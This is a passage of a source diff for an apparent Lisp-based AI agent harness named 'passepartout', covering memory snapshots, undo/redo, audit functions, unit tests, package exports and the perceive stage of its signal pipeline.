(log-message "MEMORY - Saved to ~a" path)))
|
||||
|
||||
(defun load-memory-from-disk ()
|
||||
"Reads memory state from disk and restores *memory-store* and *memory-history*."
|
||||
(let ((path (memory-snapshot-path-ensure)))
|
||||
(when (uiop:file-exists-p path)
|
||||
(handler-case
|
||||
(with-open-file (stream path :direction :input)
|
||||
(let ((data (let ((*read-eval* nil)) (read stream nil))))
|
||||
(when data
|
||||
(let ((memory-alist (getf data :memory)) (history-alist (getf data :history-store)))
|
||||
(setf *memory-store* (make-hash-table :test 'equal :size (length memory-alist)))
|
||||
(dolist (kv memory-alist) (setf (gethash (car kv) *memory-store*) (cdr kv)))
|
||||
(setf *memory-history* (make-hash-table :test 'equal :size (length history-alist)))
|
||||
(dolist (kv history-alist) (setf (gethash (car kv) *memory-history*) (cdr kv)))
|
||||
(log-message "MEMORY - Loaded from ~a (~a objects)" path (hash-table-size *memory-store*))))))
|
||||
(error (c) (log-message "MEMORY WARNING - Failed to load snapshot: ~a" c)))))
|
||||
t)
|
||||
|
||||
;; v0.7.2 — Undo/Redo
|
||||
(defvar *undo-stack* nil
|
||||
"Ring buffer of pre-operation memory snapshots. Newest first, max 20.")
|
||||
(defvar *redo-stack* nil
|
||||
"Stack of snapshots saved during undo for redo. Max 20.")
|
||||
|
||||
(defun undo-snapshot ()
|
||||
"Save current memory state to the undo stack."
|
||||
(let ((snap (list :timestamp (get-universal-time)
|
||||
:data (memory-hash-table-copy *memory-store*))))
|
||||
(push snap *undo-stack*)
|
||||
(when (> (length *undo-stack*) 20)
|
||||
(setf *undo-stack* (subseq *undo-stack* 0 20)))))
|
||||
|
||||
(defun undo (&optional source)
|
||||
"Restore memory to the most recent undo snapshot. Returns T on success, NIL if stack empty."
|
||||
(declare (ignore source))
|
||||
(if *undo-stack*
|
||||
(let ((snap (pop *undo-stack*)))
|
||||
(push (list :timestamp (get-universal-time)
|
||||
:data (memory-hash-table-copy *memory-store*))
|
||||
*redo-stack*)
|
||||
(when (> (length *redo-stack*) 20)
|
||||
(setf *redo-stack* (subseq *redo-stack* 0 20)))
|
||||
(setf *memory-store* (memory-hash-table-copy (getf snap :data)))
|
||||
(log-message "UNDO: Memory restored to snapshot ~a" (getf snap :timestamp))
|
||||
t)
|
||||
(progn (log-message "UNDO: No snapshots to undo") nil)))
|
||||
|
||||
(defun redo (&optional source)
|
||||
"Restore memory to the most recent redo snapshot. Returns T on success, NIL if stack empty."
|
||||
(declare (ignore source))
|
||||
(if *redo-stack*
|
||||
(let ((snap (pop *redo-stack*)))
|
||||
(push (list :timestamp (get-universal-time)
|
||||
:data (memory-hash-table-copy *memory-store*))
|
||||
*undo-stack*)
|
||||
(when (> (length *undo-stack*) 20)
|
||||
(setf *undo-stack* (subseq *undo-stack* 0 20)))
|
||||
(setf *memory-store* (memory-hash-table-copy (getf snap :data)))
|
||||
(log-message "REDO: Memory restored to snapshot ~a" (getf snap :timestamp))
|
||||
t)
|
||||
(progn (log-message "REDO: No snapshots to redo") nil)))
|
||||
|
||||
(defun audit-node (node-id)
|
||||
"Return audit info for a memory object by ID."
|
||||
(let ((obj (memory-object-get node-id)))
|
||||
(when obj
|
||||
(list :id node-id :type (memory-object-type obj)
|
||||
:version (memory-object-version obj)
|
||||
:hash (or (memory-object-hash obj) "(none)")
|
||||
:scope (memory-object-scope obj)))))
|
||||
|
||||
(defun audit-verify-hash ()
|
||||
"Count memory objects and report any with missing/empty hashes.
|
||||
Returns (total . missing-hashes)."
|
||||
(let ((total 0) (missing 0))
|
||||
(maphash (lambda (id obj)
|
||||
(declare (ignore id))
|
||||
(when obj
|
||||
(incf total)
|
||||
(let ((h (memory-object-hash obj)))
|
||||
(when (or (null h) (string= h ""))
|
||||
(incf missing)))))
|
||||
*memory-store*)
|
||||
(cons total missing)))
|
||||
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-memory-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:memory-suite))
|
||||
|
||||
(in-package :passepartout-memory-tests)
|
||||
|
||||
(def-suite memory-suite :description "Tests for the Merkle-Tree Memory")
|
||||
(in-suite memory-suite)
|
||||
|
||||
(test merkle-hash-consistency
|
||||
"Contract 2: identical ASTs produce identical Merkle hashes."
|
||||
(let* ((ast1 '(:type :HEADLINE :properties (:ID "test-1" :TITLE "Node 1") :contents nil)))
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(let ((id1 (ingest-ast ast1)))
|
||||
(let ((hash1 (memory-object-hash (memory-object-get id1))))
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(let ((id2 (ingest-ast ast1)))
|
||||
(is (equal hash1 (memory-object-hash (memory-object-get id2)))))))))
|
||||
|
||||
(test merkle-hash-different
|
||||
"Contract 2: distinct ASTs produce different Merkle hashes."
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(let* ((ast1 '(:type :HEADLINE :properties (:ID "a" :TITLE "Alpha") :contents nil))
|
||||
(ast2 '(:type :HEADLINE :properties (:ID "b" :TITLE "Beta") :contents nil))
|
||||
(id1 (ingest-ast ast1))
|
||||
(id2 (ingest-ast ast2))
|
||||
(hash1 (memory-object-hash (memory-object-get id1)))
|
||||
(hash2 (memory-object-hash (memory-object-get id2))))
|
||||
(is (not (equal hash1 hash2)))))
|
||||
|
||||
(test test-ingest-ast-returns-id
|
||||
"Contract 1: ingest-ast returns a string ID and stores the object."
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(let ((id (ingest-ast '(:type :HEADLINE :properties (:ID "ingest-test" :TITLE "Test Node") :contents nil))))
|
||||
(is (stringp id))
|
||||
(is (not (null id)))))
|
||||
|
||||
(test test-memory-object-get
|
||||
"Contract 3: memory-object-get retrieves an object by ID after ingest."
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(let ((id (ingest-ast '(:type :HEADLINE :properties (:ID "get-test" :TITLE "Retrieve Me") :contents nil))))
|
||||
(let ((obj (memory-object-get id)))
|
||||
(is (not (null obj)))
|
||||
(is (eq :HEADLINE (memory-object-type obj)))
|
||||
(is (string= "Retrieve Me" (getf (memory-object-attributes obj) :TITLE))))))
|
||||
|
||||
(test test-snapshot-and-rollback
|
||||
"Contract 4+5: snapshot-memory saves state; rollback-memory restores it."
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(setf passepartout::*memory-snapshots* nil)
|
||||
(ingest-ast '(:type :HEADLINE :properties (:ID "snap-a" :TITLE "Pre-snapshot") :contents nil))
|
||||
(snapshot-memory)
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(ingest-ast '(:type :HEADLINE :properties (:ID "snap-b" :TITLE "Post-snapshot") :contents nil))
|
||||
(rollback-memory 0)
|
||||
(is (not (null (memory-object-get "snap-a"))))
|
||||
(is (null (memory-object-get "snap-b"))))
|
||||
|
||||
(test test-undo-snapshot-restore
|
||||
"Contract v0.7.2: undo-snapshot captures state, undo restores."
|
||||
(let ((orig-store passepartout::*memory-store*)
|
||||
(orig-undo passepartout::*undo-stack*)
|
||||
(orig-redo passepartout::*redo-stack*))
|
||||
(unwind-protect
|
||||
(progn
|
||||
(setf passepartout::*memory-store* (make-hash-table :test 'equal)
|
||||
passepartout::*undo-stack* nil
|
||||
passepartout::*redo-stack* nil)
|
||||
(passepartout::undo-snapshot)
|
||||
(setf (gethash "x" passepartout::*memory-store*) "hello")
|
||||
(is (string= "hello" (gethash "x" passepartout::*memory-store*)))
|
||||
(is (passepartout::undo))
|
||||
(is (null (gethash "x" passepartout::*memory-store*))))
|
||||
(setf passepartout::*memory-store* orig-store
|
||||
passepartout::*undo-stack* orig-undo
|
||||
passepartout::*redo-stack* orig-redo))))
|
||||
|
||||
(test test-undo-redo-cycle
|
||||
"Contract v0.7.2: redo restores undone state."
|
||||
(let ((orig-store passepartout::*memory-store*)
|
||||
(orig-undo passepartout::*undo-stack*)
|
||||
(orig-redo passepartout::*redo-stack*))
|
||||
(unwind-protect
|
||||
(progn
|
||||
(setf passepartout::*memory-store* (make-hash-table :test 'equal)
|
||||
passepartout::*undo-stack* nil
|
||||
passepartout::*redo-stack* nil)
|
||||
(passepartout::undo-snapshot)
|
||||
(setf (gethash "y" passepartout::*memory-store*) "world")
|
||||
(is (passepartout::undo))
|
||||
(is (null (gethash "y" passepartout::*memory-store*)))
|
||||
(is (passepartout::redo))
|
||||
(is (string= "world" (gethash "y" passepartout::*memory-store*))))
|
||||
(setf passepartout::*memory-store* orig-store
|
||||
passepartout::*undo-stack* orig-undo
|
||||
passepartout::*redo-stack* orig-redo))))
|
||||
|
||||
(test test-undo-empty-stack-nil
|
||||
"Contract v0.7.2: undo returns nil on empty stack."
|
||||
(let ((orig-undo passepartout::*undo-stack*))
|
||||
(unwind-protect
|
||||
(progn (setf passepartout::*undo-stack* nil)
|
||||
(is (null (passepartout::undo))))
|
||||
(setf passepartout::*undo-stack* orig-undo))))
|
||||
|
||||
(test test-audit-node-found
|
||||
"Contract v0.7.2: audit-node returns info for existing object."
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(setf (gethash "audit-1" passepartout::*memory-store*)
|
||||
(passepartout::make-memory-object :id "audit-1" :type :HEADLINE
|
||||
:version 1 :hash "abc123" :scope :memex))
|
||||
(let ((info (passepartout::audit-node "audit-1")))
|
||||
(is (not (null info)))
|
||||
(is (eq :HEADLINE (getf info :type)))
|
||||
(is (string= "abc123" (getf info :hash)))))
|
||||
|
||||
(test test-audit-node-not-found
|
||||
"Contract v0.7.2: audit-node returns nil for nonexistent id."
|
||||
(is (null (passepartout::audit-node "nonexistent-xxxx"))))
|
||||
|
||||
(test test-audit-verify-hash
|
||||
"Contract v0.7.2: audit-verify-hash returns (total . missing)."
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(setf (gethash "a" passepartout::*memory-store*)
|
||||
(passepartout::make-memory-object :id "a" :type :HEADLINE :hash "abc"))
|
||||
(let ((result (passepartout::audit-verify-hash)))
|
||||
(is (= 1 (car result)))
|
||||
(is (= 0 (cdr result)))))
|
||||
317
lisp/core-package.lisp
Normal file
317
lisp/core-package.lisp
Normal file
@@ -0,0 +1,317 @@
|
||||
(defpackage :passepartout
|
||||
(:use :cl)
|
||||
(:export
|
||||
;; ── Core: Transport & Protocol ──
|
||||
#:frame-message
|
||||
#:read-framed-message
|
||||
#:PROTO-GET
|
||||
#:proto-get
|
||||
#:make-hello-message
|
||||
#:validate-communication-protocol-schema
|
||||
#:start-daemon
|
||||
#:register-actuator
|
||||
#:actuator-initialize
|
||||
#:action-dispatch
|
||||
|
||||
;; ── Core: Pipeline ──
|
||||
#:main
|
||||
#:log-message
|
||||
#:*log-buffer*
|
||||
#:*log-lock*
|
||||
#:process-signal
|
||||
#:loop-process
|
||||
#:perceive-gate
|
||||
#:loop-gate-perceive
|
||||
#:act-gate
|
||||
#:loop-gate-act
|
||||
#:reason-gate
|
||||
#:loop-gate-reason
|
||||
#:cognitive-verify
|
||||
#:backend-cascade-call
|
||||
#:json-alist-to-plist
|
||||
#:stimulus-inject
|
||||
#:register-probabilistic-backend
|
||||
#:*probabilistic-backends*
|
||||
#:*provider-cascade*
|
||||
|
||||
;; ── Core: Memory ──
|
||||
#:ingest-ast
|
||||
#:memory-object-get
|
||||
#:*memory-store*
|
||||
#:memory-object
|
||||
#:make-memory-object
|
||||
#:memory-object-id
|
||||
#:memory-object-type
|
||||
#:memory-object-attributes
|
||||
#:memory-object-parent-id
|
||||
#:memory-object-children
|
||||
#:memory-object-version
|
||||
#:memory-object-last-sync
|
||||
#:memory-object-vector
|
||||
#:memory-object-content
|
||||
#:memory-object-hash
|
||||
#:memory-object-scope
|
||||
#:memory-objects-by-attribute
|
||||
#:snapshot-memory
|
||||
#:rollback-memory
|
||||
#:undo-snapshot
|
||||
#:undo
|
||||
#:redo
|
||||
#:*undo-stack*
|
||||
#:*redo-stack*
|
||||
|
||||
;; ── Core: Context & Awareness ──
|
||||
#:context-get-system-logs
|
||||
#:context-assemble-global-awareness
|
||||
#:context-awareness-assemble
|
||||
#:context-query
|
||||
#:push-context
|
||||
#:pop-context
|
||||
#:current-context
|
||||
#:current-scope
|
||||
#:context-stack-depth
|
||||
#:context-save
|
||||
#:context-load
|
||||
#:focus-project
|
||||
#:focus-session
|
||||
#:focus-memex
|
||||
#:unfocus
|
||||
#:*scope-resolver*
|
||||
|
||||
;; ── Core: Skills Engine ──
|
||||
#:skill
|
||||
#:skill-name
|
||||
#:skill-priority
|
||||
#:skill-dependencies
|
||||
#:skill-trigger-fn
|
||||
#:skill-probabilistic-prompt
|
||||
#:skill-deterministic-fn
|
||||
#:defskill
|
||||
#:*skill-registry*
|
||||
#:skill-initialize-all
|
||||
#:load-skill-from-org
|
||||
#:lisp-syntax-validate
|
||||
|
||||
;; ── Core: Cognitive Tools ──
|
||||
#:def-cognitive-tool
|
||||
#:*cognitive-tool-registry*
|
||||
#:cognitive-tool
|
||||
#:cognitive-tool-name
|
||||
#:cognitive-tool-description
|
||||
#:cognitive-tool-parameters
|
||||
#:cognitive-tool-guard
|
||||
#:cognitive-tool-body
|
||||
#:tool-read-only-p
|
||||
|
||||
;; ── Security: Dispatcher ──
|
||||
#:dispatcher-check-secret-path
|
||||
#:dispatcher-check-shell-safety
|
||||
#:dispatcher-check-privacy-tags
|
||||
#:dispatcher-check-network-exfil
|
||||
#:dispatcher-check
|
||||
#:dispatcher-gate
|
||||
#:wildcard-match
|
||||
|
||||
;; ── Security: HITL ──
|
||||
#:hitl-create
|
||||
#:hitl-approve
|
||||
#:hitl-deny
|
||||
#:hitl-handle-message
|
||||
|
||||
;; ── Security: Vault & Permissions ──
|
||||
#:*VAULT-MEMORY*
|
||||
#:vault-get
|
||||
#:vault-set
|
||||
#:vault-get-secret
|
||||
#:vault-set-secret
|
||||
#:get-tool-permission
|
||||
#:set-tool-permission
|
||||
#:check-tool-permission-gate
|
||||
#:permission-get
|
||||
#:permission-set
|
||||
#:policy-compliance-check
|
||||
#:validator-protocol-check
|
||||
|
||||
;; ── Embedding ──
|
||||
#:*embedding-backend*
|
||||
#:*embedding-queue*
|
||||
#:*embedding-provider*
|
||||
#:embed-queue-object
|
||||
#:embed-object
|
||||
#:embed-all-pending
|
||||
#:embedding-backend-hashing
|
||||
#:embedding-backend-native
|
||||
#:embedding-native-load-model
|
||||
#:embedding-native-unload
|
||||
#:embedding-native-ensure-loaded
|
||||
#:embedding-native-get-dim
|
||||
#:embeddings-compute
|
||||
#:mark-vector-stale
|
||||
|
||||
;; ── Channels ──
|
||||
#:channel-cli-input
|
||||
#:gateway-start
|
||||
#:gateway-registry-initialize
|
||||
#:messaging-link
|
||||
#:messaging-unlink
|
||||
#:gateway-configured-p
|
||||
|
||||
;; ── Programming: Lisp ──
|
||||
#:lisp-validate
|
||||
#:lisp-structural-check
|
||||
#:lisp-syntactic-check
|
||||
#:lisp-semantic-check
|
||||
#:lisp-eval
|
||||
#:lisp-format
|
||||
#:lisp-list-definitions
|
||||
#:lisp-extract
|
||||
#:lisp-inject
|
||||
#:lisp-slurp
|
||||
|
||||
;; ── Programming: Org ──
|
||||
#:org-read-file
|
||||
#:org-write-file
|
||||
#:org-headline-add
|
||||
#:org-headline-find-by-id
|
||||
#:org-property-set
|
||||
#:org-todo-set
|
||||
#:org-id-generate
|
||||
#:org-id-format
|
||||
#:org-modify
|
||||
|
||||
;; ── Programming: Literate & REPL ──
|
||||
#:literate-tangle-sync-check
|
||||
#:literate-extract-lisp-blocks
|
||||
#:literate-block-balance-check
|
||||
#:repl-eval
|
||||
#:repl-inspect
|
||||
#:repl-list-vars
|
||||
|
||||
;; ── Symbolic ──
|
||||
#:archivist-create-note
|
||||
#:archivist-extract-headlines
|
||||
#:archivist-headline-to-filename
|
||||
|
||||
;; ── Diagnostics & Config ──
|
||||
#:diagnostics-run-all
|
||||
#:diagnostics-main
|
||||
#:diagnostics-dependencies-check
|
||||
#:diagnostics-env-check
|
||||
#:get-oc-config-dir
|
||||
#:run-setup-wizard
|
||||
|
||||
;; ── Providers ──
|
||||
#:register-provider
|
||||
#:provider-openai-request
|
||||
#:provider-config
|
||||
|
||||
;; ── Token Economics ──
|
||||
#:count-tokens
|
||||
#:model-token-ratio
|
||||
#:token-cost
|
||||
#:provider-token-cost
|
||||
#:cost-track-call
|
||||
#:cost-session-total
|
||||
#:cost-session-calls
|
||||
#:cost-by-provider
|
||||
#:cost-session-reset
|
||||
#:cost-format-budget-status
|
||||
#:cost-track-backend-call
|
||||
#:prompt-prefix-cached
|
||||
#:context-assemble-cached
|
||||
#:enforce-token-budget
|
||||
#:token-economics-initialize))
|
||||
|
||||
(in-package :passepartout)
|
||||
|
||||
(defvar *log-buffer* nil)
|
||||
(defvar *log-lock* (bordeaux-threads:make-lock "log-messages-lock"))
|
||||
(defvar *log-limit* 100)
|
||||
|
||||
(defvar *skill-registry* (make-hash-table :test 'equal)
|
||||
"Global registry of all loaded skills.")
|
||||
|
||||
(defvar *telemetry-table* (make-hash-table :test 'equal))
|
||||
(defvar *telemetry-lock* (bordeaux-threads:make-lock "harness-telemetry-lock"))
|
||||
|
||||
(defun telemetry-track (skill-name duration status)
|
||||
"Updates performance metrics for a skill. STATUS is :success or :rejected."
|
||||
(when skill-name
|
||||
(bordeaux-threads:with-lock-held (*telemetry-lock*)
|
||||
(let ((entry (or (gethash skill-name *telemetry-table*) (list :executions 0 :total-time 0 :failures 0))))
|
||||
(incf (getf entry :executions))
|
||||
(incf (getf entry :total-time) duration)
|
||||
(when (eq status :rejected) (incf (getf entry :failures)))
|
||||
(setf (gethash skill-name *telemetry-table*) entry)))))
|
||||
|
||||
(defvar *cognitive-tool-registry* (make-hash-table :test 'equal))
|
||||
|
||||
(defstruct cognitive-tool
|
||||
name
|
||||
description
|
||||
parameters
|
||||
guard
|
||||
body
|
||||
read-only-p)
|
||||
|
||||
(defmacro def-cognitive-tool (name description parameters &key guard body read-only-p)
|
||||
"Registers a cognitive tool. PARAMETERS is a list of plists, one per parameter."
|
||||
`(setf (gethash (string-downcase (string ',name)) *cognitive-tool-registry*)
|
||||
(make-cognitive-tool :name (string-downcase (string ',name))
|
||||
:description ,description
|
||||
:parameters ',parameters
|
||||
:guard ,guard
|
||||
:body ,body
|
||||
:read-only-p ,read-only-p)))
|
||||
|
||||
(defun cognitive-tool-prompt ()
|
||||
"Serialises all registered tools into a prompt string for the LLM."
|
||||
(let ((descriptions nil))
|
||||
(maphash (lambda (k tool)
|
||||
(declare (ignore k))
|
||||
(push (format nil "- ~a: ~a~% Parameters: ~a~%"
|
||||
(cognitive-tool-name tool)
|
||||
(cognitive-tool-description tool)
|
||||
(cognitive-tool-parameters tool))
|
||||
descriptions))
|
||||
*cognitive-tool-registry*)
|
||||
(if descriptions
|
||||
(format nil "Available tools:~%~a" (apply #'concatenate 'string (sort descriptions #'string<)))
|
||||
"No tools registered.")))
|
||||
|
||||
;; Alias: generate-tool-belt-prompt → cognitive-tool-prompt
|
||||
(defun generate-tool-belt-prompt ()
|
||||
(cognitive-tool-prompt))
|
||||
|
||||
(defun tool-read-only-p (name)
|
||||
"Returns T if the named cognitive tool is read-only, NIL otherwise."
|
||||
(let ((tool (gethash (string-downcase (string name)) *cognitive-tool-registry*)))
|
||||
(when tool
|
||||
(cognitive-tool-read-only-p tool))))
|
||||
|
||||
(defun log-message (msg &rest args)
|
||||
"Centralized, thread-safe logging for the harness."
|
||||
(let ((formatted-msg (apply #'format nil msg args)))
|
||||
(bordeaux-threads:with-lock-held (*log-lock*)
|
||||
(push formatted-msg *log-buffer*)
|
||||
(when (> (length *log-buffer*) *log-limit*)
|
||||
(setq *log-buffer* (subseq *log-buffer* 0 *log-limit*))))
|
||||
(format t "~a~%" formatted-msg)
|
||||
(finish-output)))
|
||||
|
||||
(setf *debugger-hook* (lambda (condition hook)
|
||||
"Friendly error handler - shows diagnostic message instead of raw debugger."
|
||||
(declare (ignore hook))
|
||||
(format t "~%")
|
||||
(format t "┌─────────────────────────────────────────────┐~%")
|
||||
(format t "│ ERROR: ~A~%" (type-of condition))
|
||||
(format t "│~%")
|
||||
(format t "│ Run: passepartout diagnostics~%")
|
||||
(format t "│ For system diagnostics~%")
|
||||
(format t "└─────────────────────────────────────────────┘~%")
|
||||
(format t "~%")
|
||||
(format t "Details: ~A~%" condition)
|
||||
(format t "Backtrace:~%")
|
||||
(sb-debug:print-backtrace :count 20 :stream *standard-output*)
|
||||
(finish-output)
|
||||
(uiop:quit 1)))
|
||||
159
lisp/core-perceive.lisp
Normal file
159
lisp/core-perceive.lisp
Normal file
@@ -0,0 +1,159 @@
|
||||
(in-package :passepartout)
|
||||
|
||||
(defvar *loop-interrupt* nil)
|
||||
|
||||
(defvar *scope-resolver* nil
|
||||
"If set, function returning current scope keyword. Used by perceive gate.")
|
||||
|
||||
(defvar *loop-async-sensors* '(:chat-message :delegation :user-command)
|
||||
"Sensors that are processed in dedicated threads.")
|
||||
|
||||
(defvar *loop-focus-id* nil
|
||||
"The Org ID of the node the user is currently interacting with.")
|
||||
|
||||
(defvar *pre-reason-handlers* (make-hash-table :test 'eq)
|
||||
"Pre-reason handler registry: sensor keyword → handler function.")
|
||||
|
||||
(defun register-pre-reason-handler (sensor fn)
|
||||
"Registers FN to handle signals with SENSOR in the perceive gate.
|
||||
FN receives (signal) and returns T if consumed, nil to continue."
|
||||
(setf (gethash sensor *pre-reason-handlers*) fn))
|
||||
|
||||
(defun stimulus-inject (raw-message &key stream (depth 0))
|
||||
"Inject a raw message into the signal processing pipeline."
|
||||
(let* ((payload (getf raw-message :payload))
|
||||
(sensor (getf payload :sensor))
|
||||
(meta (getf raw-message :meta))
|
||||
(async-p (or (getf payload :async-p)
|
||||
(member sensor *loop-async-sensors*))))
|
||||
|
||||
(unless meta
|
||||
(setf meta (list :SOURCE :SYSTEM :SESSION-ID "internal")))
|
||||
|
||||
(when stream
|
||||
(setf (getf meta :reply-stream) stream))
|
||||
|
||||
(setf (getf raw-message :meta) meta)
|
||||
(setf (getf raw-message :depth) depth)
|
||||
|
||||
(if async-p
|
||||
(bt:make-thread
|
||||
(lambda ()
|
||||
(restart-case (process-signal raw-message)
|
||||
(skip-event () nil)))
|
||||
:name "passepartout-async-task")
|
||||
|
||||
(restart-case
|
||||
(handler-bind ((error (lambda (c)
|
||||
(log-message "SYSTEM ERROR: ~a" c)
|
||||
(invoke-restart 'skip-event))))
|
||||
(process-signal raw-message))
|
||||
(skip-event ()
|
||||
(log-message "SYSTEM RECOVERY: Stimulus dropped."))))))
|
||||
|
||||
(defun loop-gate-perceive (signal)
|
||||
"Stage 1 of the metabolic pipeline: Normalize sensory input."
|
||||
(let* ((payload (getf signal :payload))
|
||||
(type (getf signal :type))
|
||||
(meta (getf signal :meta))
|
||||
(sensor (getf payload :sensor)))
|
||||
;; HITL: intercept approval/denial commands before LLM processing
|
||||
(when (and (eq sensor :user-input)
|
||||
(stringp (getf payload :text)))
|
||||
(let ((text (getf payload :text)))
|
||||
(when (ignore-errors (hitl-handle-message text (getf meta :source)))
|
||||
(log-message "GATE [Perceive]: HITL command processed — ~a" text)
|
||||
(return-from loop-gate-perceive signal))))
|
||||
;; Pre-reason handlers: dispatch custom sensors to registered skill handlers
|
||||
(let ((handler (gethash sensor *pre-reason-handlers*)))
|
||||
(when handler
|
||||
(when (funcall handler signal)
|
||||
(return-from loop-gate-perceive signal))))
|
||||
|
||||
(log-message "GATE [Perceive]: ~a (~a) [Source: ~s]"
|
||||
type (or sensor "no-sensor") (getf meta :source))
|
||||
|
||||
(cond ((eq type :EVENT)
|
||||
(case sensor
|
||||
(:buffer-update
|
||||
(let ((ast (getf payload :ast)))
|
||||
(when ast
|
||||
(snapshot-memory)
|
||||
(ingest-ast ast :scope (if *scope-resolver* (funcall *scope-resolver*) :memex)))))
|
||||
(:point-update
|
||||
(let ((element (getf payload :element)))
|
||||
(when element
|
||||
(snapshot-memory)
|
||||
(setf *loop-focus-id* (getf element :id))
|
||||
(ingest-ast element :scope (if *scope-resolver* (funcall *scope-resolver*) :memex)))))
|
||||
(:interrupt
|
||||
(setf *loop-interrupt* t))
|
||||
;; v0.7.2 undo/redo
|
||||
(:undo
|
||||
(log-message "GATE [Perceive]: undo requested")
|
||||
(undo "perceive"))
|
||||
(:redo
|
||||
(log-message "GATE [Perceive]: redo requested")
|
||||
(redo "perceive"))
|
||||
;; HITL: re-injected approved action from dispatcher-approvals-process
|
||||
(:approval-required
|
||||
(when (getf payload :approved)
|
||||
(log-message "GATE [Perceive]: Approved Flight Plan re-injected")
|
||||
(setf (getf signal :approved) t)
|
||||
(setf (getf signal :approved-action) (getf payload :action))))
|
||||
;; Default sensor: pass through without requiring user-input processing
|
||||
(otherwise
|
||||
(log-message "GATE [Perceive]: Unknown sensor ~a, passing through" sensor))))
|
||||
((eq type :RESPONSE)
|
||||
(log-message "GATE [Perceive]: Act Result -> ~a" (getf payload :status))))
|
||||
|
||||
(setf (getf signal :status) :perceived)
|
||||
(setf (getf signal :foveal-focus) *loop-focus-id*)
|
||||
signal))
|
||||
|
||||
(defun perceive-gate (signal)
|
||||
(loop-gate-perceive signal))
|
||||
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-pipeline-perceive-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:pipeline-perceive-suite))
|
||||
|
||||
(in-package :passepartout-pipeline-perceive-tests)
|
||||
|
||||
(def-suite pipeline-perceive-suite :description "Test suite for Perceive pipeline")
|
||||
(in-suite pipeline-perceive-suite)
|
||||
|
||||
(test test-loop-gate-perceive
|
||||
"Contract 1: :buffer-update ingests AST and sets :perceived status."
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(let* ((signal (list :type :EVENT :payload (list :sensor :buffer-update :ast (list :type :HEADLINE :properties (list :ID "test-node" :TITLE "Test") :contents nil))))
|
||||
(result (loop-gate-perceive signal)))
|
||||
(is (eq :perceived (getf result :status)))
|
||||
(is (not (null (gethash "test-node" passepartout::*memory-store*))))))
|
||||
|
||||
(test test-depth-limiting
|
||||
"Edge: depth 11 signals are rejected by the pipeline."
|
||||
(let ((runaway-signal (list :type :EVENT :depth 11 :payload (list :sensor :heartbeat))))
|
||||
(is (null (process-signal runaway-signal)))))
|
||||
|
||||
(test test-loop-gate-perceive-unknown-sensor
|
||||
"Contract 1: unknown sensors pass through and reach :perceived."
|
||||
(let* ((signal (list :type :EVENT :depth 0 :payload (list :sensor :custom-metric)))
|
||||
(result (loop-gate-perceive signal)))
|
||||
(is (eq :perceived (getf result :status)))))
|
||||
|
||||
(test test-loop-gate-perceive-no-ast
|
||||
"Contract 1: :buffer-update without AST doesn't crash, reaches :perceived."
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(let* ((signal (list :type :EVENT :depth 0 :payload (list :sensor :buffer-update)))
|
||||
(result (loop-gate-perceive signal)))
|
||||
(is (eq :perceived (getf result :status)))))
|
||||
|
||||
(test test-depth-limiting-normal
|
||||
"Contract 1: signals at normal depth pass through without rejection."
|
||||
(let ((normal-signal (list :type :EVENT :depth 5 :payload (list :sensor :heartbeat))))
|
||||
(is (not (eq :rejected (getf normal-signal :status)))
|
||||
"Signal at normal depth should not be rejected")))
|
||||
232
lisp/core-pipeline.lisp
Normal file
232
lisp/core-pipeline.lisp
Normal file
@@ -0,0 +1,232 @@
|
||||
(in-package :passepartout)
|
||||
|
||||
(define-condition passepartout-error (error)
|
||||
((message :initarg :message :reader error-message))
|
||||
(:report (lambda (c s) (format s "Passepartout error: ~a" (error-message c))))
|
||||
(:documentation "Root of the pipeline error hierarchy."))
|
||||
|
||||
(define-condition pipeline-error (passepartout-error)
|
||||
((signal :initarg :signal :reader pipeline-error-signal :initform nil))
|
||||
(:report (lambda (c s) (format s "Pipeline error: ~a" (error-message c))))
|
||||
(:documentation "Any error during the Perceive→Reason→Act cycle."))
|
||||
|
||||
(define-condition llm-error (pipeline-error)
|
||||
((provider :initarg :provider :reader llm-error-provider)
|
||||
(cascade :initarg :cascade :reader llm-error-cascade :initform nil)
|
||||
(attempt-count :initarg :attempt-count :reader llm-error-attempt-count :initform 0))
|
||||
(:report (lambda (c s) (format s "LLM error (~a): ~a" (llm-error-provider c) (error-message c))))
|
||||
(:documentation "LLM provider failure: timeout, cascade exhaustion, or API error."))
|
||||
|
||||
(define-condition gate-error (pipeline-error)
|
||||
((gate-name :initarg :gate-name :reader gate-error-gate-name)
|
||||
(rejected-action :initarg :rejected-action :reader gate-error-rejected-action))
|
||||
(:report (lambda (c s) (format s "Gate ~a blocked action: ~a" (gate-error-gate-name c) (error-message c))))
|
||||
(:documentation "Deterministic gate blocked a proposed action."))
|
||||
|
||||
(define-condition budget-error (pipeline-error)
|
||||
((remaining :initarg :remaining :reader budget-error-remaining :initform 0.0)
|
||||
(requested :initarg :requested :reader budget-error-requested :initform 0.0))
|
||||
(:report (lambda (c s) (format s "Budget exhausted: $~,4f remaining, $~,4f requested" (budget-error-remaining c) (budget-error-requested c))))
|
||||
(:documentation "Session budget cap has been reached."))
|
||||
|
||||
(define-condition protocol-error (passepartout-error)
|
||||
((raw-message :initarg :raw-message :reader protocol-error-raw-message :initform nil))
|
||||
(:report (lambda (c s) (format s "Protocol error: ~a" (error-message c))))
|
||||
(:documentation "Malformed message, framing failure, or schema violation."))
|
||||
|
||||
(defvar *interrupt-flag* nil
|
||||
"Atomic flag set by signal handlers to trigger graceful shutdown.")
|
||||
|
||||
(defvar *loop-interrupt-lock* (bt:make-lock "harness-interrupt-lock")
|
||||
"Mutex protecting *interrupt-flag* access.")
|
||||
|
||||
(defvar *heartbeat-thread* nil
|
||||
